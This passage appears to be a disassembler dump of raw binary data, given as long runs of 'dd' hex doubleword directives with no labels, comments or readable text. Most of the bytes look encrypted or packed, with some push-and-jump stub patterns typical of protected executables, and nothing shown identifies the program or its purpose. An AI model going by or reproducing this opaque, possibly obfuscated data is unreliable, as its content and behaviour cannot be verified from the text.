0DA1219D3h, 7838748Ah, 6F5h, 837EE009h dd 1555FFE6h, 0E68396F9h, 0BD63BCFFh, 0A3332D5Ch, 0E6AA9487h dd 0A6C24207h, 7E6AA43h, 0A1731871h, 0C40494FDh, 3664F39Ah dd 1CC2476Eh, 0C4FAA46Fh, 633BD72Ch, 5C09AFD8h, 0AE11D6B7h dd 0F41EA054h, 9FBBFB8Bh, 7E7183Ch, 6581116Ah, 7E71802h dd 9E31D730h, 0CC5C0485h, 0E144B6B0h dd 0B9A20C0Fh, 3215FC1Dh, 67420069h, 6896640Fh, 0C398E2Dh dd 5EB80000h, 0B55D0A40h, 0F06B3E9h, 63AC598Fh, 0B958053Bh dd 0C67BAFE5h, 346A34DDh, 0DB118D87h, 86BCE22Eh, 2E643AD9h dd 88EB075Fh, 0AE07E6B3h, 6CA79148h, 0D142A732h, 0DE2642CDh dd 70158989h, 0D758FEA0h, 1AF94E1Dh, 0E231DE84h, 7EB686BCh dd 1C38748Fh, 180h, 326CA7ADh, 0CDD142A7h, 0D533697h, 0ADC7617Dh dd 628C07E0h, 582CE9E9h, 0BD06AC64h, 7EE1FD3Dh, 0A407E15Dh dd 5D7CDF4Bh, 51AA07E1h, 0FC1858E8h, 7E15D99h, 0D1578E8Eh dd 0D5167CC2h, 613DD77Ch, 7407ADD6h, 0E175E148h, 0B06AEB07h dd 6F7E71A9h, 330F40h, 0BCA00000h, 65F0AE67h, 5435963Ch dd 92607C0Ch, 9007E09Bh, 0F87DA737h, 9D0110A7h, 0FF22AB23h dd 339AC659h, 3D07E11Ch, 0C3FB02BCh, 61406F28h, 0EAh, 326CA7F2h dd 110257A7h, 0D73AE78Dh, 3CD73CC7h, 927DD262h, 0B258810Ch dd 4559BA1Fh, 0AF2E9B0Fh, 0BF54FFE6h, 1BFA4FDFh, 8CA8F883h dd 0FFE6AE29h, 0EF95FE57h, 0BDD919B1h, 0FFE6AE5Ah, 28892F88h dd 536FFF61h, 7E38D7Dh, 80C050A9h, 0E3770164h, 5747CB07h dd 7B46AC16h, 0EFB39B89h, 848E086h, 0B5405EB3h, 0D839E68Ch dd 0AD20839Fh, 0DBF707E2h, 7E2AD78h, 0AB04459Eh, 0B25F0C42h dd 8D692EECh, 0F4A9E62h, 0AD270h, 0A7F71F00h, 504EC471h dd 0F6A86D1Ah, 0A2FC13C0h, 4C52BF6Ch, 462DE216h, 0F09DD3CBh dd 97447A24h, 42EF2579h, 0C897CDD1h, 0B3F15470h, 0B91F07E6h dd 0D6AA702h, 0E6838EF1h, 0F41FB4FFh, 8DF61FAAh, 156EE24h dd 0E5486413h, 0BFFE682h, 0F6A349B2h, 0B34B811Dh, 7CD9B45Eh dd 9275BF48h, 0ACD560C9h, 6CA74F06h, 0D142A732h, 0AAB097CDh dd 49000004h, 3ACA96F3h, 0E0A4081Eh, 0B23D9607h, 0E0A31F86h dd 51912907h, 0E0A3D235h, 25799C07h, 2CE68BE4h, 18BEE772h dd 9ED6DD97h, 3C406EAFh, 1D3h, 7292BCCDh, 807B555h, 0E141B55Bh dd 0EDFFE701h, 1834C49Ch, 7E7292Bh, 7BD060B9h, 23D00698h dd 0A23AEF0h, 3551E17Fh, 0FE1093Bh, 0B9904EA7h, 0A29664D2h dd 9F9C867h, 1EF80000h, 759D4A80h, 0CF46F329h, 23EC99CFh dd 7998457Bh, 6BBEF25h, 74AAF41Dh, 1B514DC7h, 0C6FCA26Eh dd 6EA4FA19h, 0C82B479Fh, 0EE07E6B5h, 6CA7D188h, 257A732h dd 0DC05900Eh, 148A8936h, 7EE42F84h, 59820D91h, 9BB74AF0h dd 47CCB06Ah, 1DA8F61Bh, 85558BF4h, 38748F4Dh, 13AEBh dd 6CA77C00h, 0D142A732h, 29E83DCDh, 1BC1EA75h, 530D7CDDh dd 0AE0DA7C3h, 60B907E0h, 0AD42A9D5h, 0B44C07E0h, 48EEB05Fh dd 0E93E0DC7h, 0BFE8732Bh, 0E6F1A345h, 4BF1DC9Dh, 6EDE437Bh dd 45E140h, 3C910000h, 123BC6D8h, 96F3B56Ch, 0DEFA3ACAh dd 0FFE6837Bh, 8DCED045h, 0DAF68E34h, 7E09C0Ch, 0E636C11Ah dd 507C2BCh, 902091CCh, 0E08B1174h, 40E63F07h, 0E08B65CCh dd 34EE6F07h, 6E96F52Dh, 969340h, 0A7240000h, 42A7326Ch dd 0FF3FCFCFh, 0E68380E3h, 0D83B57FFh, 0FEFFE683h, 650B64A5h dd 0BCA66DD2h, 52DD4658h, 427826EDh, 0E6D671CEh, 0B2EC27FFh dd 4FA4E47Ch, 2A53DEC0h, 0E6D65BBEh, 8A3089FFh, 70006029h dd 0E3B57E54h, 0A3338C07h, 0A5DBC34Eh, 0C78519F8h, 9E622B7Ch dd 0B8F594CFh, 39000008h, 0DE8BC1DDh, 87346A34h, 2DDA108Eh dd 0D986BCE2h, 0FC306638h, 0EDB16047h, 940A0AB7h, 3F5FB15Eh dd 0E7B75C09h, 6E8AE2B1h, 7E6B60Bh, 0A71CD339h, 51FE346Ah dd 0EFA6DCC2h, 0A2326CA7h, 32D8C64Dh, 0AE254F9Fh, 92AFF1CAh dd 0EC5549C7h, 247A9946h, 2A707EEh, 0F3A00000h, 1E3ACA96h dd 7E6AB8Bh, 4170AF19h, 0D30B7FB3h, 3A8FDF6Ah, 0D439C4DAh dd 50F65F3Fh, 0E70475DCh, 44FE7F07h, 867E4B75h, 6DFC19C1h dd 1BFF7C7h, 51A64075h, 2B73A0C2h, 680E37C2h, 23787h, 80E01800h dd 57FFE683h, 8398FB17h, 536FFFE6h, 0FFE682F0h, 237CBD16h dd 0CC6D1C7Dh, 0E6834DB0h, 0B11A73FFh, 0AB6A0521h, 0BF1807E6h dd 6539DA2Fh, 0FA6D972Fh, 70183DA0h, 0C4C5705Bh, 0D76E834Ah dd 0F8F8431h, 1B1E6B84h, 25A6E2F1h, 63CF4B7Bh, 7E74400h dd 0D464CD26h, 0E170BEB8h, 0DCB240Fh, 96644A28h, 0B431D00Bh dd 3D000007h, 0E28FC5D9h, 8B386E30h, 31DE148Ah, 0DD8AC0DEh dd 346A34h, 0F1AD644Bh, 98060EBBh, 435BB562h, 0EBB3600Dh dd 728EE6B5h, 7E6B70Fh, 0BC18CF35h, 82FD607Ch, 0CA23FFE6h dd 29C7724h, 9D011277h, 0BC5F612h, 6F8BEC27h, 0FFE6830Ch dd 4278E13Ah, 748F3A72h, 172D838h, 5E880000h, 3F5B252Eh dd 0FFE61EDCh, 0D637B10Ah, 0CD842A66h, 0EF0B6CA7h, 0FFE6838Ch dd 0F9E761BAh, 0E4FD3CDFh, 0F85DE851h, 9EF3831Bh, 739C2777h dd 5B2E8FCDh, 784B7505h, 0F8ABB36h, 84A038DEh, 7E132EAh dd 88B43F98h, 7E13221h, 0D33E932Bh, 0EAA425CBh, 1949C61Bh dd 0F11AA5F9h, 0DA12E288h, 78406F39h, 65h, 2EA8FE28h, 4B7933EBh dd 234CD7C7h, 0EA240BAh, 76B222E5h, 96F319D0h, 0A5FA3ACAh dd 8CEF0B6Ch, 0BAFFE683h, 0DE52F861h, 7E09C10h, 0FB25B50Eh dd 93AF9882h, 7E09130h, 5883FD56h, 0FCA270B2h, 0A5AED93h dd 0B8435BB5h, 80E3FF8Fh, 0A607E0ABh, 0CC33A74Dh, 0D607E0ABh dd 5C949B55h, 0FA406EB7h, 9Ah, 607CBC8Bh, 0FFE682FDh, 7724CA23h dd 534BC69Ch, 17FA5FEAh, 7C97FC87h, 0E1329722h, 0C61387BDh dd 91FFE6FDh, 0FDD23551h, 0A700FFE6h, 0DFBF5401h, 1F4148A9h dd 0DC9D738Fh, 70C907E3h, 18868BE0h, 0C2DC35E2h, 62022B04h dd 1EBDF89Eh, 63Fh, 43A64B2h, 0ADE3BB57h, 53891500h, 0FF3569A6h dd 0A9DFBF52h, 3AD7C075h, 93812E64h, 0E828D50Bh, 40D380B6h dd 159285Eh, 0E6B982E5h, 934AB007h, 0FE346AA7h, 5E783C66h dd 0B65389BBh, 0E74C379Ah, 9B045DFFh, 0D3CB48F5h, 6CA7E69Dh dd 0D142A732h, 2EB097CDh, 49000000h, 0A7326CA7h, 42CDD142h dd 12F6B0E9h, 0CF679D01h, 797C4CA5h, 0E774FA5Dh, 55CF28FFh dd 382084DDh, 3B9A7BE5h, 0F8DF85EEh, 4Dh, 0B6CA791h, 0E6838CEFh dd 0EA25BAFFh, 69A64BB4h, 0E73CCC35h, 3CCF7529h, 610EC2ECh dd 0B2CB751h, 268BF165h, 0C053FFE7h, 0C8316DA2h, 523BD83Dh dd 0D7DEB89Bh, 37C22B47h, 50F8B2F3h, 0BDA15BDCh, 7A124856h dd 0F2F9AF50h, 4EF4D4A0h, 326CA797h, 0F0257A7h, 35DB048Fh dd 829AB5D4h, 0FB26C5E9h, 6581117Ah, 7E71BD6h, 0DB1BAB04h dd 86118D86h, 0D9B71A36h, 84DD07E6h, 4BC8751Bh, 0B2DD6F42h dd 0CD362DE2h, 7529EA97h, 0A8B8D1EAh, 4EC2FC18h, 0FC510FE7h dd 18117518h, 619B0D54h, 11D6DF8h, 0FFE6949Eh, 5C026BC4h dd 0D52ABA13h, 7D2A603Eh, 647D0896h, 8FAB3B25h, 7E0BD2Dh dd 514DC459h, 0AD3866ACh, 0C45D1B84h, 479E649Fh, 4E96D0Ch dd 0E080000h, 65AD5A90h, 0BF560339h, 13FCA9DFh, 69A8558Bh dd 16CBFF35h, 84BAE42Dh, 2B613DD7h, 0D60C927Eh, 7EB4EA29h dd 0D83B57AFh, 0FE07E6BAh, 6CA7E198h, 4662A232h, 0FFE682E3h dd 8343A6C2h, 1871FFE6h, 0D83B57D7h, 0FEFFE683h, 58963CA5h dd 0AB3668ABh, 46D1CD46h, 5B3FF92Ah, 0E0B0E6B8h, 38748FA8h dd 0DF254F8Fh, 4A5C2277h, 42E144B0h, 0B60FFFE6h, 4D2F10h dd 9FDF0000h, 0E6432083h, 47ED46FFh, 0CA96F390h, 6EA5FA3Ah dd 15168A30h, 0BF07E0D3h, 8F81D666h, 0D269CCE8h dd 3E9707E0h, 0BB247A99h, 0D2AC1185h, 9D7607E0h, 0C6514DC5h dd 51FE349Dh, 0B554DFBFh, 42Fh, 0AE112D6Dh, 0D407E0D2h dd 0A71ED57Bh, 57A7326Ch, 0FFD4BC2Dh, 0EA90573Ch, 38C8D63Dh dd 5079DCF8h, 4EA7FFE7h, 80096AA8h, 9A3450E0h, 4807E17Bh dd 0EA1464EFh, 4CED30AAh, 86FAA0ECh, 7E0E51Fh, 0EC7727E9h dd 88138B87h, 0D9813B6Ch, 6A39F374h, 0FBA0FE15h, 0D6FF8A14h dd 0ED286030h, 27C6406Eh, 57000000h, 3ACA96F3h, 0E9742AE5h dd 66821AC0h, 7E09B98h, 0B6E26DC6h, 7E09B4Fh, 171ED859h dd 406EA6DFh, 0E37Dh, 6CA70E00h, 0CF42A732h, 83298CA8h dd 0FE57FFE6h, 6EA50A95h, 0C64BA030h, 0D3B690C7h, 46AF4B5Bh dd 59EC92BBh, 4AADC909h, 78FFE744h, 47CC791Fh, 30AD2157h dd 3FFFE749h, 0D0728D15h, 3B57E12Ah, 0FFE6DAD8h, 963CA5FEh dd 3E742AE9h, 8B47CA6h, 0CA0B8F7h, 6BF6A867h, 24EF9C42h dd 0B3D6EF7Ah, 1B011DADh, 4707E0B0h, 3257B8EEh, 0A6829E2Eh dd 0C00FDD67h, 9282D767h, 79CE660Ch, 839FDF98h, 0FFED6320h dd 1E81ED46h, 0F5FFED63h, 0ED6376D9h, 2439CFFh, 5BB040A9h dd 240E6B8h, 24E2BC55h, 99984727h, 0FC2AC904h, 0F5000002h dd 9A477D21h, 43F02678h, 0E996CCD2h, 95427826h, 0B8EC227Ch dd 0A9F51C03h, 504EC673h, 0FBA36D1Ah, 0A3FB18C5h, 2A469E6Dh dd 7E6BCC7h, 0A7D087EDh, 51FE346Ah, 0EFA6DCC2h, 0EB277CBCh dd 93FF28B3h, 0FFE68330h, 0F657FD56h, 278AA693h, 4DFFE683h dd 0E54864F4h, 0BFFE682h, 9DB949B2h, 7E09BCFh, 97E772CBh dd 1EDBE6Dh, 0E48AF836h, 0E0F10970h, 0D8921307h, 6EFD99D1h dd 0E73740h, 0BCC80000h, 50F6A867h, 0A32E70A3h, 3BCBD33Eh dd 0DA382AE6h, 0A71039C4h, 0C5426E01h, 0BBFFE688h, 76B64658h dd 0FA9BB74Ch, 44B02D5Ch, 0FFE725E1h, 0D210B60Fh, 20B0EE25h dd 0F71A48CBh, 5983EA7h, 33C39DECh, 8D72C9F3h, 575403B5h dd 63573DB1h, 2A8307E1h, 59F693F4h, 0F30E1DCBh, 4EDE4721h dd 0DDFAF732h, 0E474CD0Fh, 31E0828Fh, 977DE26Dh, 0EA537C07h dd 5EB34B81h, 245EE9B5h, 1FEE8BABh, 640A7331h, 86445AB7h dd 9998008Bh, 0EC82215Ch, 5000001h, 0AA578D11h, 53003668h dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E6BDD7h, 0A7E097FDh dd 0C25B236Ah, 7F482B9Eh, 0DF318616h, 44CF34BFh, 0D4BF15Ah dd 3CDAB360h, 31EB7FF9h, 48F0F03h, 0D30972DBh, 326CA71Ch dd 0E0257A7h, 36DC0590h, 0DE148A89h, 2CBCE231h, 0BB603ED7h dd 93BC4757h, 48415AEDh, 526C8818h, 7007E099h, 0E0328717h dd 99187B97h, 0E53E07E0h, 22C8F17Ch, 1AD4FD8Fh, 31C1DD36h dd 0EB2A38DCh, 96FF28B3h, 326CA60Bh, 84E523C9h, 8BCB5B05h dd 0E0990C6Fh, 3BE13A07h, 0AE9187A3h, 0A83D0FDAh, 818F346Ah dd 0E424B41Dh, 0E68665C8h, 8C328BFFh, 0E37F94F9h, 0B8E16C32h dd 0A56ABF4Fh, 0DF4856BDh, 0FD4DA639h, 0A6316DA8h, 86D73A56h dd 0A4FDFFE6h, 5A14953Bh, 999C7C2h, 864AADC9h, 1F78FFE6h dd 6006987Ah, 9BB6ACC8h, 0CB2407E0h, 732BE895h, 0D58D83E8h dd 0AAD35E40h, 0FB24B641h, 0F2327241h, 0E09973D6h, 0DC48A107h dd 7E09979h, 9FFF12A7h, 0DD82EB14h, 14C16737h, 8699FFFh dd 671A381h, 0E09987EAh, 0EB54AD07h, 0BCD6F282h, 9B0FDAAFh dd 83DC3F5Bh, 0B10AFFE6h, 2642C20Bh, 0FFE683C3h, 832386A2h dd 0F851FFE6h, 65F55EB7h, 0F69C0210h, 8915FE63h, 89436CFEh dd 85A198F1h, 0FFE68322h, 0FE8EF750h, 0E099C8E2h, 0C949DE07h dd 0B9E530D5h, 0D0B91A50h, 0A6E40090h, 940FE0C0h, 0C84BB03Bh dd 9E29759Ah, 0B4CF324Eh, 9CF50FE0h, 1C828E33h, 43D07DB3h dd 0B0A4D05Bh, 0C6673581h, 9EEF2176h, 6C97CB54h, 0CC57C013h dd 94F713A3h, 0C258950Ch, 8842C369h, 0F92F6FA4h, 4CD7C74Ch dd 0EB7628E7h, 92763059h, 3AE71D81h, 9B3AC5D9h, 3, 0A75CBB34h dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh dd 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh, 8904EC83h dd 0BB532424h, 4, 4245C01h, 0EAC685Bh, 1C890000h, 5D1F6824h dd 2C890000h, 0ABBD5524h, 55080028h, 44240481h, 5B4D7B61h dd 6144EB81h, 545D4D7Bh, 83242C8Bh, 535304C4h, 0FC73E3BBh dd 245C0107h, 458F5B04h, 86D8108h, 7FC73E3h, 52242C8Bh dd 0C281E289h, 4, 4C281h, 14870000h, 1C8B5C24h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FA41FFE9h, 9864F8FFh dd 0CBEA6513h, 1EF8BCF6h, 0B80CC76Fh, 8003C6Fh, 0E0FFC503h dd 4096EED1h, 3DC83935h, 19DA75CDh, 38EE34B4h, 0F6569BCh dd 5DD75BB6h, 0CFE1B80h, 37A5D26Bh, 74FF29B3h, 30D3DAA8h dd 347CEFDEh, 411A9784h, 7B8B0045h, 5B3450B8h, 5C237716h dd 5E8h, 83157B00h, 8B0FB31Fh, 5, 0D3F38166h, 81F55A50h dd 74ACC2h, 0A7F18000h, 1E4D6FBFh, 93F78157h, 0F571E51h dd 328BC6B7h, 10E9h, 0FA481C00h, 0A382257Ah, 95E2B26Fh dd 5BCD9275h, 0DAEE81D4h, 0F90DC170h, 40C7EE81h, 0EE8164CDh dd 2606DFF1h, 5BFEB157h, 8FDF8B56h, 0C3BF0F02h, 473EEA81h dd 53B52125h, 473AC281h, 66602125h, 0FD6E5BEh, 587h, 0D7816600h dd 4F61B13Fh, 23850Fh, 0EE90000h, 1000000h, 0A64C2711h dd 187A0FBEh, 0FA5A1D27h, 23E974h, 0FB800000h, 494FBBDBh dd 0E80F7CA3h, 0E9CB8AB2h, 0FFFFFF7Ah, 0F93C4667h, 0BA0E072Eh dd 3EB4B7E8h, 52D0003Eh, 2DE9B3h, 0D0660000h, 36A3h, 9 dup(0) dd 0E9000000h, 4DBh, 3C722CEAh, 0E51B838Fh, 8BC1DD38h dd 376D31DEh, 0E117878Ah, 20FF8ADh, 5BB9669Ch, 0B0600D43h dd 80BB8EEh, 39916096h, 0E6C1BA1Dh, 0CB82E807h, 0A7326CA7h dd 99CFCF42h, 0EC7727ECh, 3BD68C87h, 6C88D863h, 0FFE68309h dd 0C75DE37h, 0A8F61C81h, 0D18BC41Dh, 0D43C26EDh, 0BB1E3ACAh dd 0E9FFE683h, 44F12790h, 7531C1CCh, 2CA7D874h, 30E08DC3h dd 967EE36Eh, 474E7808h, 2A618AA8h, 0EA7C0FB5h, 0ED2307C1h dd 230B6E8Ah, 0CEEAFFE7h, 0FFE7236Bh, 0A6FF4099h, 1A6F073Dh dd 0F51EA9F5h, 2D71A24Fh, 231076A2h, 0D041FFE7h, 2ED70F16h dd 50753875h, 6000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh dd 748ED911h, 0D7738h, 0FD270000h, 41252AE2h, 1FF095A7h dd 0A722D97Fh, 6737226Bh, 0A1BB67Ah, 61B116A1h, 0D62B23Dh dd 45F29806h, 2E91ADCAh, 54FFE715h, 0AE0792FBh, 3BD7BB75h dd 93802D63h, 0A71ED50Bh, 44A9346Ah, 2945D0CEh, 0B75A3EF8h dd 8CE849D6h, 0A91237BEh, 4E50C419h, 56BD6AA8h, 31A20521h dd 77D0FFE7h, 0F71E830Eh, 31016480h, 46CBFFE7h, 55BE1758h dd 66985C5h, 2CFFE731h, 759A2DD3h, 0EB333AF4h, 89387536h dd 7Bh, 346AA71Ah, 11127AA4h, 3090DC55h, 7DA7F78Ah, 420A89C7h dd 43F096A6h, 0E841CCD2h, 11F5AFh, 5CB90E9Eh, 0E88EB742h dd 8A14FDAAh, 29759AFFh, 3EF8799Eh, 74A4EF37h, 9181D638h dd 5686670Dh, 36000000h, 25CDE20Ch, 6B1181BDh, 346AA7B4h dd 0ABCC44A9h, 0E6832C8Fh, 4EC55AFFh, 339CC550h, 0BAFB3FCAh dd 37DC3100h, 0DB3DC67h, 0D0DCB160h, 0E18613EDh, 0C42D719Eh dd 0A76E255Bh, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh dd 87Bh, 3AD62B00h, 0AB0D964h, 306EA753h, 0F91555A5h, 0FFE68396h dd 0D1E963BCh, 0B9DA14F9h, 38DB882Eh, 9976DB66h, 0FE157A05h dd 5A8315A0h, 0FD26F8A0h, 0C1B65F43h, 0E6B342A5h, 721770FFh dd 6197009Eh, 47D78900h, 0E0CACD2Bh, 15A0F907h, 53B63B0h dd 58E3BB58h, 0E0AAC72Ch, 0B771B207h, 0EE2240D3h, 641147B0h dd 425CB3AFh, 9A258EB7h, 35C0DE35h, 0D35E40D0h, 6FFAA46Eh dd 8830EA2Bh, 5D41FB2Ch, 0E2B2E8B6h, 406EB6AAh, 0D2355191h dd 7E09Eh, 0C3128096h, 0B51E58CAh, 1332E0Fh, 0F3BF0000h dd 0FA3ACA96h, 833B9EBAh, 0E630FFE6h, 0E0FA294Bh, 0EB40D4Eh dd 0E10F449Ah, 6EF95207h, 5E940A09h, 0B13C62B1h, 47D7C74Ch dd 0DA801EF2h, 40FA2B47h, 0B1E7B75Ch, 6EF1A9E1h, 674740h dd 0BCD80000h, 4BF1AD67h, 2DBDA3EAh, 0E6838E11h, 4BDB347Fh dd 0F6811DF6h, 0DBB353CDh, 0BD8669F6h, 0F5588417h, 0CA7FE67Eh dd 0CB2E4A8Ah, 0F97FE67Fh, 89F2AC64h, 10A862E3h, 3DA0BC7Dh dd 637FE67Fh, 8A1B47F9h, 0F15A7506h, 6ED7C74Ch, 6E3FC2DEh dd 4CA5FFE6h, 9B2F16h, 0BDE70000h, 155FF41Ch, 0BCE22D8Eh dd 0F99F0831h, 0CA96F342h, 9AB41E3Ah, 0D93207E0h, 742AE94Eh dd 1C82913Eh, 99FD6591h, 65A607E0h, 524CC7ABh, 6BCEBB1Ch dd 0E098EC4Fh, 47C11A07h, 0DE5D5F1Ah, 39C932A1h, 0E0D9C71Dh dd 0EF7AD30Fh, 3CD9898Ah, 45AED762h, 193575B5h, 0FE0A9B6h dd 0B41783DCh, 0E20FE0A9h, 0BE50E389h, 52DC547Eh, 24D5D01Fh dd 71392EAAh, 28CE707Ah, 0F41EEDA7h, 312E2AEBh, 7EDF85E8h dd 0A9C5550Bh, 17E11F53h, 4235DB30h, 0E0E3C326h, 2F98F107h dd 0B1E74089h, 5692BCFAh, 9D4D9981h, 0A62F6390h, 0CE377DE3h dd 9EC2C728h, 0B59CF20Eh, 35CA07E7h, 0D36C1DDh, 7B083893h dd 0FB646E10h, 96080B70h, 3E60B360h, 72363B3h, 7E767A4h dd 0C8D63DD2h, 0BF45B95Fh, 93468AFAh, 57BCA05Ah, 0AF641147h dd 0FA49ACC8h, 523E3689h, 37EA9509h, 3BA4FD3Eh, 1DAB81ABh dd 9C0148EEh, 11FE63F6h, 4770028Dh, 346AA98Dh, 0DEC04FA4h dd 46842A53h, 99247A99h, 3FAh, 5CBB9300h, 0A42F6FA7h, 3FCAD43Fh dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch dd 0E9742AEBh, 85108E84h, 4BE46852h, 1C890000h, 53DB6824h dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 0C895C24h dd 0EABD5524h, 452DEF74h, 4501ED83h, 4F6FF581h, 0ED817878h dd 4D96FD41h, 545DE889h, 83240C8Bh, 895604C4h, 8B850C6h dd 1000000h, 583089C8h, 240C8B5Eh, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 5724048Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 0FFFA3BD8h, 0B8E99F62h, 800429Ch, 0E0FFC503h, 64008D31h dd 7C21B894h, 1DBFA9DCh, 2307E8A5h, 498F6E66h, 6EFEF55Eh dd 400FB724h, 59B8FBDEh, 3AFB3B28h, 441E40F1h, 7AE2BBD7h dd 7A345608h, 46A3E5B4h, 1E96DC09h, 435805B1h, 34AC51FDh dd 64CFBEBh, 6749362Ch, 51D98BB6h, 3476AB30h, 92D03CAh dd 7BCC3364h, 3AF88762h, 1F286778h, 444F8D8Dh, 0B52B0800h dd 7FA2EC9h, 1CD98D89h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 120BB4C3h, 0BD8B10C4h dd 7FA051Dh, 31AD85C7h, 6CA007FAh, 29560000h, 0FA2A2585h dd 85C75A07h, 7FA2BD9h, 0 dd 80D7B860h, 6E82FDDh, 73000000h, 8FC55391h, 595F56C8h dd 0EDB5FF61h, 6A07FA0Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2975C350h, 9C036305h dd 8139A1A3h, 9C4182D7h, 9995FF33h, 6A07FA17h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 3395C357h, 0FA0CE985h, 0FF006A07h, 0FA101995h, 0EBC08B07h dd 0A942205Dh, 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 406FC1D5h dd 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h, 43A1CD50h dd 42AB9233h, 0DE12B512h, 85176A4Eh, 0E3242972h, 216A046h dd 0B98C77A8h, 0E12B8DC5h, 0BBCB65DAh, 0D63B535Fh, 868F6331h dd 0E1AB8733h, 42B7365Ah, 66E4C4A6h, 9AE9203Fh, 0E9000000h dd 4707390Bh, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h dd 0E0910D3h, 7 dup(0) dd 0F50E900h, 1B680000h, 0E9080047h, 0FFFA3994h, 480068h dd 398AE908h, 0F168FFFAh, 0E9080048h, 0FFFA3980h, 49F668h dd 3976E908h, 7168FFFAh, 0E908004Ah, 0FFFA396Ch, 4AF468h dd 3962E908h, 0B568FFFAh, 0E908004Bh, 0FFFA3958h, 4C7968h dd 394EE908h, 3068FFFAh, 0E908004Dh, 0FFFA3944h, 4DE168h dd 393AE908h, 9168FFFAh, 0E908004Eh, 0FFFA3930h, 4FD768h dd 3926E908h, 3F68FFFAh, 0E9080052h, 0FFFA391Ch, 533868h dd 3912E908h, 8E88FFFAh, 0E52DDA10h, 3FD683B9h, 937C295Fh dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh dd 0FE346AA9h, 58BBD72Fh, 7E07E6C8h, 92BC6118h, 4B67953Ah dd 0FFE68DE8h, 523BB50Eh, 5300A6C1h, 0EE53DEC0h, 94E97925h dd 0FD980F7Eh, 2EABDADBh, 80E11FC5h, 0ABC75709h, 7E0D011h dd 0A5D15CB5h, 7E08B3Eh, 3E0DC748h, 8B7FE2FEh, 4CA507E0h dd 8D336BA7h, 6E9385BDh, 3D2340h, 0F3B40000h, 0FA3ACA96h dd 0A5306EA5h, 9462D67Ch, 4307E09Bh, 73113019h, 6FFF8FABh dd 0E088F053h, 17BD1607h, 9AEA75CEh, 28CED045h, 0E0894DB4h dd 1CD65707h, 6E94DD15h, 0C17B40h, 0A70C0000h, 42A7326Ch dd 0F444CFCFh, 0A22D719Fh, 0ED26D379h, 76019D75h, 0F459E44Dh dd 0C5EF7F1Fh, 211479D1h, 42D07581h, 2A8D15Ch, 7ED450C4h dd 858EFFE7h, 0DD36E319h, 80731C1h, 86EC4BE2h, 48F0F04h dd 46CD72DBh, 0CF1FB258h, 4BC89A7Ah, 365FEA53h, 65A2F90h dd 0A0BC5A76h, 91EA07E1h, 0D18FFA5Bh, 42E22541h, 77D00FDEh dd 1F7F92E7h, 0C9D53CE9h, 98B5420Bh, 53F22D99h, 0CEEh dd 144A54C2h, 0BDF3AB67h, 63990510h, 0F4559B6h, 0B9EFAF62h dd 2AE7D085h, 83913E74h, 0D838E51Bh, 30E390C6h, 1169386Eh dd 0E6CA92F5h, 0A35AC007h, 0BAA867BCh, 50DB445Ah, 3DD48127h dd 957E2B61h, 0F31CD309h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CF05h, 6CA79600h, 0FA8519F6h dd 78DD68D1h, 20750599h, 7508AEF0h, 0E687CD49h, 207E95FFh dd 0E12852EAh, 74012482h, 1BA6F819h, 36E389F2h, 1D36C1DDh dd 4559B86Ch, 982891BAh, 93CF666Eh, 0E6C81477h, 6FE942FFh dd 791F59CBh, 7427C5E1h, 0AF0407E1h, 84AD3866h, 63C95DEh dd 0A3FB196Eh, 0E849EF18h, 132FBFA1h, 0FDE52BFh, 0A9FE8EE7h dd 82AB3668h, 22EF44DCh, 7899467Ch, 0A5AB6826h, 45809998h dd 0C09A6h, 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h dd 0D4CA47F4h, 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h dd 501F5549h, 0CB79DCF8h, 41A707E6h, 346AA78Ah, 0F64A4h dd 83CF329Eh, 9CF5FFE6h, 80BB8F6h, 5EB10696h, 0A55C9A40h dd 0FD607CBCh, 23FFE682h, 0AE17878Eh, 0C970709h, 83903DE3h dd 0E82B901Bh, 42D380B6h, 0A76CD15Ch, 8351B4D0h, 267FFFE6h dd 0D1ED2DBDh, 0FFE6836Eh, 57953B94h, 0CEBB657Eh, 0E4E60292h dd 8307E089h, 89C42743h, 99F207E0h, 1451AAF3h, 6ABA4AB0h dd 372960FFh, 0DCC252A7h, 7C982851h, 0F056BA19h, 0B048EE47h dd 50DCA694h, 4BDB34F8h, 0F8831BF6h, 931E8093h, 0C85B016Ah dd 0F686DAAFh, 6E3C50DAh, 6DFD56FFh, 7898ED2Dh, 6729B26h dd 0F05E39A3h, 25D278D1h, 0CD7AB0EEh, 0A79A5846h, 0A869E93Ch dd 0B18CE6Dh, 7E980000h, 0D53DEA20h, 2FE693C9h, 838C396Fh dd 0D938E51Bh, 0A65B8FC5h, 144A54BDh, 0BBF1AD67h, 669C020Eh dd 0E445AB9h, 68CBE73Fh, 8E07E6CBh, 